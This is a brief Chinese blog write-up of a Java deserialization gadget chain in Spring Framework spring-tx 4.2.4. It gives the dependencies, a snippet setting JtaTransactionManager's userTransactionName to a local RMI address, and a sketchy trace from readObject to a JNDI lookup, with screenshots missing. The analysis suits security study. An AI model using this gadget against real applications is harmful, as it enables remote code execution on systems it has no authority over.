- 环境
- 依赖
- 分析
- 利用链构造
- 利用链分析
来自spring-jndi
依赖分析 利用链构造org.springframework spring-tx 4.2.4.RELEASE org.springframework spring-context 4.2.4.RELEASE javax.transaction javax.transaction-api 1.2
String jndiAddress = "rmi://127.0.0.1:1099/Object"; org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager(); object.setUserTransactionName(jndiAddress);利用链分析
整个利用链是比较简单的,入口点在JtaTransactionManager的readObject方法,
不为Null长度也大于0
这个lookup()函数符合JNDI注入的特征
继续跟入
是InitialContext
最后回调实现了JNDI注入


![[Java安全]Java反序列化之spring-tx(Spring Framework 4.2.4) [Java安全]Java反序列化之spring-tx(Spring Framework 4.2.4)](http://www.mshxw.com/aiimages/31/318321.png)
